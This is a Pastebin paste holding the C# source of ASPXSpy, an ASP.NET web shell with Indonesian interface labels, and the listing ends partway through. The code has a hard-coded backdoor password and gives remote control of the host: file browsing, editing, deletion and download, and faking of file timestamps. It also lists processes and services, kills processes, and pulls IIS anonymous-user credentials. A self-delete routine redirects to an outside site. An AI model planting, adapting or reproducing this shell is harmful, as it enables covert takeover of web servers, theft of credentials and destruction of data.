daily pastebin goal
61%
SHARE
TWEET

Untitled

a guest Jun 8th, 2017 111 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
  2. <%@ import Namespace="System.IO"%>
  3. <%@ import Namespace="System.Diagnostics"%>
  4. <%@ import Namespace="System.Data"%>
  5. <%@ import Namespace="System.Management"%>
  6. <%@ import Namespace="System.Data.OleDb"%>
  7. <%@ import Namespace="Microsoft.Win32"%>
  8. <%@ import Namespace="System.Net.Sockets" %>
  9. <%@ import Namespace="System.Net" %>
  10. <%@ import Namespace="System.Runtime.InteropServices"%>
  11. <%@ import Namespace="System.DirectoryServices"%>
  12. <%@ import Namespace="System.ServiceProcess"%>
  13. <%@ import Namespace="System.Text.RegularExpressions"%>
  14. <%@ Import Namespace="System.Threading"%>
  15. <%@ Import Namespace="System.Data.SqlClient"%>
  16. <%@ import Namespace="Microsoft.VisualBasic"%>
  17. <%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  18. <%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  19. <%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
  20. <%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
  21. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  22. <script runat="server">
  23. public string Password="f3fda86e428ccda3e33d207217665201";//backdoor
  24. public string vbhLn="ASPXSpy";
  25. public int TdgGU=3-2;
  26. protected OleDbConnection Dtdr=new OleDbConnection();
  27. protected OleDbCommand Kkvb=new OleDbCommand();
  28. public NetworkStream NS=null;
  29. public NetworkStream NS1=null;
  30. TcpClient tcp=new TcpClient();
  31. TcpClient zvxm=new TcpClient();
  32. ArrayList IVc=new ArrayList();
  33. protected void Page_load(object sender,EventArgs e)
  34. {
  35. YFcNP(this);
  36. fhAEn();
  37. if (!pdo())
  38. {
  39. return;
  40. }
  41. if(IsPostBack)
  42. {
  43. string tkI=Request["__EVENTTARGET"];
  44. string VqV=Request["__File"];
  45. if(tkI!="")
  46. {
  47. switch(tkI)
  48. {
  49. case "Bin_Parent":
  50. krIR(Ebgw(VqV));
  51. break;
  52. case "Bin_Listdir":
  53. krIR(Ebgw(VqV));
  54. break;
  55. case "kRXgt":
  56. kRXgt(Ebgw(VqV));
  57. break;
  58. case "Bin_Createfile":
  59. gLKc(VqV);
  60. break;
  61. case "Bin_Editfile":
  62. gLKc(VqV);
  63. break;
  64. case "Bin_Createdir":
  65. stNPw(VqV);
  66. break;
  67. case "cYAl":
  68. cYAl(VqV);
  69. break;
  70. case "ksGR":
  71. ksGR(Ebgw(VqV));
  72. break;
  73. case "SJv":
  74. SJv(VqV);
  75. break;
  76. case "Bin_Regread":
  77. tpRQ(Ebgw(VqV));
  78. break;
  79. case "hae":
  80. hae();
  81. break;
  82. case "urJG":
  83. urJG(VqV);
  84. break;
  85. }
  86. if(tkI.StartsWith("dAJTD"))
  87. {
  88. dAJTD(Ebgw(tkI.Replace("dAJTD","")),VqV);
  89. }
  90. else if(tkI.StartsWith("Tlvz"))
  91. {
  92. Tlvz(Ebgw(tkI.Replace("Tlvz","")),VqV);
  93. }
  94. else if(tkI.StartsWith("Bin_CFile"))
  95. {
  96. YByN(Ebgw(tkI.Replace("Bin_CFile","")),VqV);
  97. }
  98. }
  99. }
  100. else
  101. {
  102. PBZw();
  103. }
  104. }
  105. public bool pdo()
  106. {
  107. if(Request.Cookies[vbhLn]==null)
  108. {
  109. tZSx();
  110. return false;
  111. }
  112. else
  113. {
  114. if (Request.Cookies[vbhLn].Value != Password)
  115. {
  116. tZSx();
  117. return false;
  118. }
  119. else
  120. {
  121. return true;
  122. }
  123. }
  124. }
  125. public void tZSx()
  126. {
  127. ljtzC.Visible=true;
  128. ZVS.Visible=false;
  129. }
  130. protected void YKpI(object sender,EventArgs e)
  131. {
  132. Session.Abandon();
  133. Response.Cookies.Add(new HttpCookie(vbhLn,null));
  134. tZSx();
  135. }
  136. public void PBZw()
  137. {
  138. ZVS.Visible=true;
  139. ljtzC.Visible=false;
  140. Bin_Button_CreateFile.Attributes["onClick"]="var filename=prompt('Please input the file name:','');if(filename){Bin_PostBack('Bin_Createfile',filename);}";
  141. Bin_Button_CreateDir.Attributes["onClick"]="var filename=prompt('Please input the directory name:','');if(filename){Bin_PostBack('Bin_Createdir',filename);}";
  142. Bin_Button_KillMe.Attributes["onClick"]="if(confirm('Are you sure delete ASPXSPY?')){Bin_PostBack('hae','');};";
  143. miansha2.InnerHtml=Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"("+Request.ServerVariables["SERVER_NAME"]+")";
  144. Bin_Span_FrameVersion.InnerHtml="Versi FrameWork : "+Environment.Version.ToString();
  145. if (AXSbb.Value==string.Empty)
  146. {
  147. AXSbb.Value=OElM(Server.MapPath("."));
  148. }
  149. Bin_H2_Title.InnerText="Pengelola Berkas >>";
  150. krIR(AXSbb.Value);
  151. }
  152. public void fhAEn()
  153. {
  154. try
  155. {
  156. string[] YRgt=Directory.GetLogicalDrives();
  157. for(int i=0;i<YRgt.Length;i++)
  158. {
  159. Control c=ParseControl(" <asp:LinkButton Text='"+mFvj(YRgt[i])+"' ID=\"Bin_Button_Driv"+i+"\" runat='server' commandargument= '"+YRgt[i]+"'/> | ");
  160. Bin_Span_Drv.Controls.Add(c);
  161. LinkButton nxeDR=(LinkButton)Page.FindControl("Bin_Button_Driv"+i);
  162. nxeDR.Command+=new CommandEventHandler(this.iVk);
  163. }
  164. }catch(Exception ex){}
  165. }
  166. public string OElM(string path)
  167. {
  168. if(path.Substring(path.Length-1,1)!=@"\")
  169. {
  170. path=path+@"\";
  171. }
  172. return path;
  173. }
  174. public string nrrx(string path)
  175. {
  176. char[] trim={'\\'};
  177. if(path.Substring(path.Length-1,1)==@"\")
  178. {
  179. path=path.TrimEnd(trim);
  180. }
  181. return path;
  182. }
  183. [DllImport("kernel32.dll",EntryPoint="GetDriveTypeA")]
  184. public static extern int OMZP(string nDrive);
  185. public string mFvj(string instr)
  186. {
  187. string EuXD=string.Empty;
  188. int num=OMZP(instr);
  189. switch(num)
  190. {
  191. case 1:
  192. EuXD="Unknow("+instr+")";
  193. break;
  194. case 2:
  195. EuXD="Lepas("+instr+")";
  196. break;
  197. case 3:
  198. EuXD="Tetap("+instr+")";
  199. break;
  200. case 4:
  201. EuXD="Jaringan("+instr+")";
  202. break;
  203. case 5:
  204. EuXD="CDRom("+instr+")";
  205. break;
  206. case 6:
  207. EuXD="RAM Disk("+instr+")";
  208. break;
  209. }
  210. return EuXD.Replace(@"\","");
  211. }
  212. public string MVVJ(string instr)
  213. {
  214. byte[] tmp=Encoding.Default.GetBytes(instr);
  215. return Convert.ToBase64String(tmp);
  216. }
  217. public string Ebgw(string instr)
  218. {
  219. byte[] tmp=Convert.FromBase64String(instr);
  220. return Encoding.Default.GetString(tmp);
  221. }
  222. public void krIR(string path)
  223. {
  224. WICxe();
  225. CzfO.Visible=true;
  226. Bin_H2_Title.InnerText="Pengelola Berkas >>";
  227. AXSbb.Value=OElM(path);
  228. DirectoryInfo GQMM=new DirectoryInfo(path);
  229. if(Directory.GetParent(nrrx(path))!=null)
  230. {
  231. string bg=OKM();
  232. TableRow p=new TableRow();
  233. for(int i=1;i<6;i++)
  234. {
  235. TableCell pc=new TableCell();
  236. if(i==1)
  237. {
  238. pc.Width=Unit.Parse("2%");
  239. pc.Text="0";
  240. p.CssClass=bg;
  241. }
  242. if(i==2)
  243. {
  244. pc.Text="<a href=\"javascript:Bin_PostBack('Bin_Parent','"+MVVJ(Directory.GetParent(nrrx(path)).ToString())+"')\">Direktori Induk</a>";
  245. }
  246. p.Cells.Add(pc);
  247. UGzP.Rows.Add(p);
  248. }
  249. }
  250. try
  251. {
  252. int vLlH=0;
  253. foreach(DirectoryInfo Bin_folder in GQMM.GetDirectories())
  254. {
  255. string bg=OKM();
  256. vLlH++;
  257. TableRow tr=new TableRow();
  258. TableCell tc=new TableCell();
  259. tc.Width=Unit.Parse("2%");
  260. tc.Text="0";
  261. tr.Attributes["onmouseover"]="this.className='focus';";
  262. tr.CssClass=bg;
  263. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  264. tr.Cells.Add(tc);
  265. TableCell HczyN=new TableCell();
  266. HczyN.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(AXSbb.Value+Bin_folder.Name)+"')\">"+Bin_folder.Name+"</a>";
  267. tr.Cells.Add(HczyN);
  268. TableCell LYZK=new TableCell();
  269. LYZK.Text=Bin_folder.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
  270. tr.Cells.Add(LYZK);
  271. UGzP.Rows.Add(tr);
  272. TableCell ERUL=new TableCell();
  273. ERUL.Text="--";
  274. tr.Cells.Add(ERUL);
  275. UGzP.Rows.Add(tr);
  276. TableCell ZGKh=new TableCell();
  277. ZGKh.Text="<a href=\"javascript:if(confirm('Are you sure will delete it ?\\n\\nIf non-empty directory,will be delete all the files.')){Bin_PostBack('kRXgt','"+MVVJ(AXSbb.Value+Bin_folder.Name)+"')};\">Hapus</a> | <a href='#' onclick=\"var filename=prompt('Please input the new folder name:','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_folder.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('dAJTD"+MVVJ(AXSbb.Value+Bin_folder.Name)+"',filename);} \">Ubah Nama</a>";
  278. tr.Cells.Add(ZGKh);
  279. UGzP.Rows.Add(tr);
  280. }
  281. TableRow cKVA=new TableRow();
  282. cKVA.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
  283. cKVA.Attributes["bgcolor"]="#dddddd";
  284. TableCell JlmW=new TableCell();
  285. JlmW.Attributes["colspan"]="6" ;
  286. JlmW.Attributes["height"]="5";
  287. cKVA.Cells.Add(JlmW);
  288. UGzP.Rows.Add(cKVA);
  289. int aYRwo=0;
  290. foreach(FileInfo Bin_Files in GQMM.GetFiles())
  291. {
  292. aYRwo++;
  293. string gb=OKM();
  294. TableRow tr=new TableRow();
  295. TableCell tc=new TableCell();
  296. tc.Width=Unit.Parse("2%");
  297. tc.Text="<input type=\"checkbox\" value=\"0\" name=\""+MVVJ(Bin_Files.Name)+"\">";
  298. tr.Attributes["onmouseover"]="this.className='focus';";
  299. tr.CssClass=gb;
  300. tr.Attributes["onmouseout"]="this.className='"+gb+"';";
  301. tr.Cells.Add(tc);
  302. TableCell filename=new TableCell();
  303. if(Bin_Files.FullName.StartsWith(Request.PhysicalApplicationPath))
  304. {
  305. string url=Request.Url.ToString();
  306. filename.Text="<a href=\""+Bin_Files.FullName.Replace(Request.PhysicalApplicationPath,url.Substring(0,url.IndexOf('/',8)+1)).Replace("\\","/")+"\" target=\"_blank\">"+Bin_Files.Name+"</a>";
  307. }
  308. else
  309. {
  310. filename.Text=Bin_Files.Name;
  311. }
  312. TableCell albt=new TableCell();
  313. albt.Text=Bin_Files.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
  314. TableCell YzK=new TableCell();
  315. YzK.Text=mTG(Bin_Files.Length);
  316. TableCell GLpi=new TableCell();
  317. GLpi.Text="<a href=\"#\" onclick=\"Bin_PostBack('ksGR','"+MVVJ(AXSbb.Value+Bin_Files.Name)+"')\">Turun</a> | <a href='#' onclick=\"var filename=prompt('Please input the new path(full path):','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Bin_CFile"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} \">Salin</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_Editfile','"+Bin_Files.Name+"')\">Ubah</a> | <a href='#' onclick=\"var filename=prompt('Please input the new file name(full path):','"+AXSbb.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Tlvz"+MVVJ(AXSbb.Value+Bin_Files.Name)+"',filename);} \">Ubah Nama</a> | <a href=\"#\" onclick=\"Bin_PostBack('cYAl','"+Bin_Files.Name+"')\">Waktu</a> ";
  318. tr.Cells.Add(filename);
  319. tr.Cells.Add(albt);
  320. tr.Cells.Add(YzK);
  321. tr.Cells.Add(GLpi);
  322. UGzP.Rows.Add(tr);
  323. }
  324. string lgb=OKM();
  325. TableRow oWam=new TableRow();
  326. oWam.CssClass=lgb;
  327. for(int i=1;i<4;i++)
  328. {
  329. TableCell lGV=new TableCell();
  330. if(i==1)
  331. {
  332. lGV.Text="<input name=\"chkall\" value=\"on\" type=\"checkbox\" onclick=\"var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].type=='checkbox'&&ck[i].name!='chkall'){ck[i].checked=forms[0].chkall.checked;}}\"/>";
  333. }
  334. if(i==2)
  335. {
  336. lGV.Text="<a href=\"#\" Onclick=\"var d_file='';var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].checked&&ck[i].name!='chkall'){d_file+=ck[i].name+',';}};if(d_file==null || d_file==''){ return;} else {if(confirm('Are you sure delete the files ?')){Bin_PostBack('SJv',d_file)};}\">Hapus Yang Dipilih</a>";
  337. }
  338. if(i==3)
  339. {
  340. lGV.ColumnSpan=4;
  341. lGV.Style.Add("text-align","right");
  342. lGV.Text=vLlH+" Direktori/ "+aYRwo+" Berkas";
  343. }
  344. oWam.Cells.Add(lGV);
  345. }
  346. UGzP.Rows.Add(oWam);
  347. }
  348. catch(Exception error)
  349. {
  350. xseuB(error.Message);
  351. }
  352. }
  353. public string OKM()
  354. {
  355. TdgGU++;
  356. if(TdgGU % 2==0)
  357. {
  358. return "alt1";
  359. }
  360. else
  361. {
  362. return "alt2";
  363. }
  364. }
  365. public void kRXgt(string qcKu)
  366. {
  367. try
  368. {
  369. Directory.Delete(qcKu,true);
  370. xseuB("Directory delete new success !");
  371. }
  372. catch(Exception error)
  373. {
  374. xseuB(error.Message);
  375. }
  376. krIR(Directory.GetParent(qcKu).ToString());
  377. }
  378. public void dAJTD(string sdir,string ddir)
  379. {
  380. try
  381. {
  382. Directory.Move(sdir,ddir);
  383. xseuB("Directory Renamed Success !");
  384. }
  385. catch(Exception error)
  386. {
  387. xseuB(error.Message);
  388. }
  389. krIR(AXSbb.Value);
  390. }
  391. public void Tlvz(string sfile,string dfile)
  392. {
  393. try
  394. {
  395. File.Move(sfile,dfile);
  396. xseuB("File Renamed Success !");
  397. }
  398. catch(Exception error)
  399. {
  400. xseuB(error.Message);
  401. }
  402. krIR(AXSbb.Value);
  403. }
  404. public void YByN(string spath,string dpath)
  405. {
  406. try
  407. {
  408. File.Copy(spath,dpath);
  409. xseuB("File Copy Success !");
  410. }
  411. catch(Exception error)
  412. {
  413. xseuB(error.Message);
  414. }
  415. krIR(AXSbb.Value);
  416. }
  417. public void stNPw(string path)
  418. {
  419. try
  420. {
  421. Directory.CreateDirectory(AXSbb.Value+path);
  422. xseuB("Directory created success !");
  423. }
  424. catch(Exception error)
  425. {
  426. xseuB(error.Message);
  427. }
  428. krIR(AXSbb.Value);
  429. }
  430. public void gLKc(string path)
  431. {
  432. if(Request["__EVENTTARGET"]=="Bin_Editfile" || Request["__EVENTTARGET"]=="Bin_Createfile")
  433. {
  434. foreach(ListItem item in NdCX.Items)
  435. {
  436. if(item.Selected=true)
  437. {
  438. item.Selected=false;
  439. }
  440. }
  441. }
  442. Bin_H2_Title.InnerHtml="Create/ Edit File >>";
  443. WICxe();
  444. vrFA.Visible=true;
  445. if(path.IndexOf(":")< 0)
  446. {
  447. Sqon.Value=AXSbb.Value+path;
  448. }
  449. else
  450. {
  451. Sqon.Value=path;
  452. }
  453. if(File.Exists(Sqon.Value))
  454. {
  455. StreamReader sr;
  456. if(NdCX.SelectedItem.Text=="UTF-8")
  457. {
  458. sr=new StreamReader(Sqon.Value,Encoding.UTF8);
  459. }
  460. else
  461. {
  462. sr=new StreamReader(Sqon.Value,Encoding.Default);
  463. }
  464. Xgvv.InnerText=sr.ReadToEnd();
  465. sr.Close();
  466. }
  467. else
  468. {
  469. Xgvv.InnerText=string.Empty;
  470. }
  471. }
  472. public void ksGR(string path)
  473. {
  474. FileInfo fs=new FileInfo(path);
  475. Response.Clear();
  476. Page.Response.ClearHeaders();
  477. Page.Response.Buffer=false;
  478. this.EnableViewState=false;
  479. Response.AddHeader("Content-Disposition","attachment;filename="+HttpUtility.UrlEncode(fs.Name,System.Text.Encoding.UTF8));
  480. Response.AddHeader("Content-Length",fs.Length.ToString());
  481. Page.Response.ContentType="application/unknown";
  482. Response.WriteFile(fs.FullName);
  483. Page.Response.Flush();
  484. Page.Response.Close();
  485. Response.End();
  486. Page.Response.Clear();
  487. }
  488. public void SJv(string path)
  489. {
  490. try
  491. {
  492. string[] spdT=path.Split(',');
  493. for(int i=0;i<spdT.Length-1;i++)
  494. {
  495. File.Delete(AXSbb.Value+Ebgw(spdT[i]));
  496. }
  497. xseuB("File Delete Success !");
  498. }
  499. catch(Exception error)
  500. {
  501. xseuB(error.Message);
  502. }
  503. krIR(AXSbb.Value);
  504. }
  505. public void hae()
  506. {
  507. try
  508. {
  509. File.Delete(Request.PhysicalPath);
  510. Response.Redirect("http://www.rootkit.net.cn");
  511. }
  512. catch(Exception error)
  513. {
  514. xseuB(error.Message);
  515. }
  516. }
  517. public void cYAl(string path)
  518. {
  519. Bin_H2_Title.InnerHtml="Clone file was last modified time >>";
  520. WICxe();
  521. zRyG.Visible=true;
  522. QiFB.Value=AXSbb.Value+path;
  523. lICp.Value=AXSbb.Value;
  524. pWVL.Value=AXSbb.Value+path;
  525. string Att=File.GetAttributes(QiFB.Value).ToString();
  526. if(Att.LastIndexOf("ReadOnly")!=-1)
  527. {
  528. ZhWSK.Checked=true;
  529. }
  530. if(Att.LastIndexOf("System")!=-1)
  531. {
  532. SsR.Checked=true;
  533. }
  534. if(Att.LastIndexOf("Hidden")!=-1)
  535. {
  536. ccB.Checked=true;
  537. }
  538. if(Att.LastIndexOf("Archive")!=-1)
  539. {
  540. fbyZ.Checked=true;
  541. }
  542. yUqx.Value=File.GetCreationTimeUtc(pWVL.Value).ToString();
  543. uYjw.Value=File.GetLastWriteTimeUtc(pWVL.Value).ToString();
  544. aLsn.Value=File.GetLastAccessTimeUtc(pWVL.Value).ToString();
  545. }
  546. public static String mTG(Int64 fileSize)
  547. {
  548. if(fileSize<0)
  549. {
  550. throw new ArgumentOutOfRangeException("fileSize");
  551. }
  552. else if(fileSize >= 1024 * 1024 * 1024)
  553. {
  554. return string.Format("{0:########0.00} G",((Double)fileSize)/(1024 * 1024 * 1024));
  555. }
  556. else if(fileSize >= 1024 * 1024)
  557. {
  558. return string.Format("{0:####0.00} M",((Double)fileSize)/(1024 * 1024));
  559. }
  560. else if(fileSize >= 1024)
  561. {
  562. return string.Format("{0:####0.00} K",((Double)fileSize)/ 1024);
  563. }
  564. else
  565. {
  566. return string.Format("{0} B",fileSize);
  567. }
  568. }
  569. private bool SGde(string sSrc)
  570. {
  571. Regex reg=new Regex(@"^0|[0-9]*[1-9][0-9]*$");
  572. if(reg.IsMatch(sSrc))
  573. {
  574. return true;
  575. }
  576. else
  577. {
  578. return false;
  579. }
  580. }
  581. public void AdCx()
  582. {
  583. string qcKu=string.Empty;
  584. string mWGEm="IIS://localhost/W3SVC";
  585. GlI.Style.Add("word-break","break-all");
  586. try
  587. {
  588. DirectoryEntry HHzcY=new DirectoryEntry(mWGEm);
  589. int fmW=0;
  590. foreach(DirectoryEntry child in HHzcY.Children)
  591. {
  592. if(SGde(child.Name.ToString()))
  593. {
  594. fmW++;
  595. DirectoryEntry newdir=new DirectoryEntry(mWGEm+"/"+child.Name.ToString());
  596. DirectoryEntry HlyU=newdir.Children.Find("root","IIsWebVirtualDir");
  597. string bg=OKM();
  598. TableRow TR=new TableRow();
  599. TR.Attributes["onmouseover"]="this.className='focus';";
  600. TR.CssClass=bg;
  601. TR.Attributes["onmouseout"]="this.className='"+bg+"';";
  602. TR.Attributes["title"]="Site:"+child.Properties["ServerComment"].Value.ToString();
  603. for(int i=1;i<6;i++)
  604. {
  605. try
  606. {
  607. TableCell tfit=new TableCell();
  608. switch(i)
  609. {case 1:
  610. tfit.Text=fmW.ToString();
  611. break;
  612. case 2:
  613. tfit.Text=HlyU.Properties["AnonymousUserName"].Value.ToString();
  614. break;
  615. case 3:
  616. tfit.Text=HlyU.Properties["AnonymousUserPass"].Value.ToString();
  617. break;
  618. case 4:
  619. StringBuilder sb=new StringBuilder();
  620. PropertyValueCollection pc=child.Properties["ServerBindings"];
  621. for (int j=0; j < pc.Count; j++)
  622. {
  623. sb.Append(pc[j].ToString()+"<br>");
  624. }
  625. tfit.Text=sb.ToString().Substring(0,sb.ToString().Length-4);
  626. break;
  627. case 5:
  628. tfit.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(HlyU.Properties["Path"].Value.ToString())+"')\">"+HlyU.Properties["Path"].Value.ToString()+"</a>";
  629. break;
  630. }
  631. TR.Cells.Add(tfit);
  632. }
  633. catch (Exception ex)
  634. {
  635. xseuB(ex.Message);
  636. continue;
  637. }
  638. }
  639. GlI.Controls.Add(TR);
  640. }
  641. }
  642. }
  643. catch(Exception ex)
  644. {
  645. xseuB(ex.Message);
  646. }
  647. }
  648. public ManagementObjectCollection PhQTd(string query)
  649. {
  650. ManagementObjectSearcher QS=new ManagementObjectSearcher(new SelectQuery(query));
  651. return QS.Get();
  652. }
  653. public DataTable cCf(string query)
  654. {
  655. DataTable dt=new DataTable();
  656. int i=0;
  657. ManagementObjectSearcher QS=new ManagementObjectSearcher(new SelectQuery(query));
  658. try
  659. {
  660. foreach(ManagementObject m in QS.Get())
  661. {
  662. DataRow dr=dt.NewRow();
  663. PropertyDataCollection.PropertyDataEnumerator oEnum;
  664. oEnum=(m.Properties.GetEnumerator()as PropertyDataCollection.PropertyDataEnumerator);
  665. while(oEnum.MoveNext())
  666. {
  667. PropertyData DRU=(PropertyData)oEnum.Current;
  668. if(dt.Columns.IndexOf(DRU.Name)==-1)
  669. {
  670. dt.Columns.Add(DRU.Name);
  671. dt.Columns[dt.Columns.Count-1].DefaultValue="";
  672. }
  673. if(m[DRU.Name]!=null)
  674. {
  675. dr[DRU.Name]=m[DRU.Name].ToString();
  676. }
  677. else
  678. {
  679. dr[DRU.Name]=string.Empty;
  680. }
  681. }
  682. dt.Rows.Add(dr);
  683. }
  684. }
  685. catch(Exception error)
  686. {
  687. }
  688. return dt;
  689. }
  690. public void YUw()
  691. {
  692. try
  693. {
  694. Bin_H2_Title.InnerText="Process >>";
  695. WICxe();
  696. DCbS.Visible=true;
  697. int UEbTI=0;
  698. Process[] p=Process.GetProcesses();
  699. foreach(Process sp in p)
  700. {
  701. UEbTI++;
  702. string bg=OKM();
  703. TableRow tr=new TableRow();
  704. tr.Attributes["onmouseover"]="this.className='focus';";
  705. tr.CssClass=bg;
  706. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  707. for(int i=1;i<7;i++)
  708. {
  709. TableCell td=new TableCell();
  710. if(i==1)
  711. {
  712. td.Width=Unit.Parse("2%");
  713. td.Text=UEbTI.ToString();
  714. tr.Controls.Add(td);
  715. }
  716. if(i==2)
  717. {
  718. td.Text=sp.Id.ToString();
  719. tr.Controls.Add(td);
  720. }
  721. if(i==3)
  722. {
  723. td.Text=sp.ProcessName.ToString();
  724. tr.Controls.Add(td);
  725. }
  726. if(i==4)
  727. {
  728. td.Text=sp.Threads.Count.ToString();
  729. tr.Controls.Add(td);
  730. }
  731. if(i==5)
  732. {
  733. td.Text=sp.BasePriority.ToString();
  734. tr.Controls.Add(td);
  735. }
  736. if(i==6)
  737. {
  738. td.Text="--";
  739. tr.Controls.Add(td);
  740. }
  741. }
  742. IjsL.Controls.Add(tr);
  743. }
  744. }
  745. catch(Exception error)
  746. {
  747. AIz();
  748. }
  749. AIz();
  750. }
  751. public void AIz()
  752. {
  753. try
  754. {
  755. Bin_H2_Title.InnerText="Process >>";
  756. WICxe();
  757. DCbS.Visible=true;
  758. int UEbTI=0;
  759. DataTable dt=cCf("Win32_Process");
  760. for(int j=0;j<dt.Rows.Count;j++)
  761. {
  762. UEbTI++;
  763. string bg=OKM();
  764. TableRow tr=new TableRow();
  765. tr.Attributes["onmouseover"]="this.className='focus';";
  766. tr.CssClass=bg;
  767. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  768. for(int i=1;i<7;i++)
  769. {
  770. TableCell td=new TableCell();
  771. if(i==1)
  772. {
  773. td.Width=Unit.Parse("2%");
  774. td.Text=UEbTI.ToString();
  775. tr.Controls.Add(td);
  776. }
  777. if(i==2)
  778. {
  779. td.Text=dt.Rows[j]["ProcessID"].ToString();
  780. tr.Controls.Add(td);
  781. }
  782. if(i==3)
  783. {
  784. td.Text=dt.Rows[j]["Name"].ToString();
  785. tr.Controls.Add(td);
  786. }
  787. if(i==4)
  788. {
  789. td.Text=dt.Rows[j]["ThreadCount"].ToString();
  790. tr.Controls.Add(td);
  791. }
  792. if(i==5)
  793. {
  794. td.Text=dt.Rows[j]["Priority"].ToString();
  795. tr.Controls.Add(td);
  796. }
  797. if(i==6)
  798. {
  799. if( dt.Rows[j]["CommandLine"]!=string.Empty)
  800. {
  801. td.Text="<a href=\"javascript:Bin_PostBack('urJG','"+dt.Rows[j]["ProcessID"].ToString()+"')\">Kill</a>";
  802. }
  803. else
  804. {
  805. td.Text="--";
  806. }
  807. tr.Controls.Add(td);
  808. }
  809. }
  810. IjsL.Controls.Add(tr);
  811. }
  812. }
  813. catch(Exception error)
  814. {
  815. xseuB(error.Message);
  816. }
  817. }
  818. public void urJG(string pid)
  819. {
  820. try
  821. {
  822. foreach(ManagementObject p in PhQTd("Select * from Win32_Process Where ProcessID ='"+pid+"'"))
  823. {
  824. p.InvokeMethod("Terminate",null);
  825. p.Dispose();
  826. }
  827. xseuB("Process Kill Success !");
  828. }
  829. catch(Exception error)
  830. {
  831. xseuB(error.Message);
  832. }
  833. AIz();
  834. }
  835. public void oHpF()
  836. {
  837. try
  838. {
  839. Bin_H2_Title.InnerText="Services >>";
  840. WICxe();
  841. iQxm.Visible=true;
  842. int UEbTI=0;
  843. ServiceController[] kQmRu=System.ServiceProcess.ServiceController.GetServices();
  844. for(int i=0;i<kQmRu.Length;i++)
  845. {
  846. UEbTI++;
  847. string bg=OKM();
  848. TableRow tr=new TableRow();
  849. tr.Attributes["onmouseover"]="this.className='focus';";
  850. tr.CssClass=bg;
  851. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  852. for(int b=1;b<7;b++)
  853. {
  854. TableCell td=new TableCell();
  855. if(b==1)
  856. {
  857. td.Width=Unit.Parse("2%");
  858. td.Text=UEbTI.ToString();
  859. tr.Controls.Add(td);
  860. }
  861. if(b==2)
  862. {
  863. td.Text="null";
  864. tr.Controls.Add(td);
  865. }
  866. if(b==3)
  867. {
  868. td.Text=kQmRu[i].ServiceName.ToString();
  869. tr.Controls.Add(td);
  870. }
  871. if(b==4)
  872. {
  873. td.Text="";
  874. tr.Controls.Add(td);
  875. }
  876. if(b==5)
  877. {
  878. string kOIo=kQmRu[i].Status.ToString();
  879. if(kOIo=="Running")
  880. {
  881. td.Text="<font color=green>"+kOIo+"</font>";
  882. }
  883. else
  884. {
  885. td.Text="<font color=red>"+kOIo+"</font>";
  886. }
  887. tr.Controls.Add(td);
  888. }
  889. if(b==6)
  890. {
  891. td.Text="";
  892. tr.Controls.Add(td);
  893. }
  894. }
  895. vHCs.Controls.Add(tr);
  896. }
  897. }
  898. catch(Exception error)
  899. {
  900. xseuB(error.Message);
  901. }
  902. }
  903. public void tZRH()
  904. {
  905. try
  906. {
  907. Bin_H2_Title.InnerText="Services >>";
  908. WICxe();
  909. iQxm.Visible=true;
  910. int UEbTI=0;
  911. DataTable dt=cCf("Win32_Service");
  912. for(int j=0;j<dt.Rows.Count;j++)
  913. {
  914. UEbTI++;
  915. string bg=OKM();
  916. TableRow tr=new TableRow();
  917. tr.Attributes["onmouseover"]="this.className='focus';";
  918. tr.CssClass=bg;
  919. tr.Attributes["onmouseout"]="this.className='"+bg+"';";
  920. tr.Attributes["title"]=dt.Rows[j]["Description"].ToString();
  921. for(int i=1;i<7;i++)
  922. {
  923. TableCell td=new TableCell();
  924. if(i==1)
  925. {
  926. td.Width=Unit.Parse("2%");
  927. td.Text=UEbTI.ToString();
  928. tr.Controls.Add(td);
  929. }
  930. if(i==2)
  931. {
  932. td.Text=dt.Rows[j]["ProcessID"].ToString();
  933. tr.Controls.Add(td);
  934. }
  935. if(i==3)
  936. {
  937. td.Text=dt.Rows[j]["Name"].ToString();
  938. tr.Controls.Add(td);
  939. }
  940. if(i==4)
  941. {
  942. td.Text=dt.Rows[j]["PathName"].ToString();
  943. tr.Controls.Add(td);
  944. }
  945. if(i==5)
  946. {
  947. string kOIo=dt.Rows[j]["State"].ToString();
  948. if(kOIo=="Running")
  949. {
  950. td.Text="<font color=green>"+kOIo+"</font>";
  951. }
  952. else
  953. {
  954. td.Text="<font color=red>"+kOIo+"</font>";
  955. }
  956. tr.Controls.Add(td);
  957. }
  958. if(i==6)
  959. {
  960. td.Text=dt.Rows[j]["StartMode"].ToString();
  961. tr.Controls.Add(td);
  962. }
  963. }
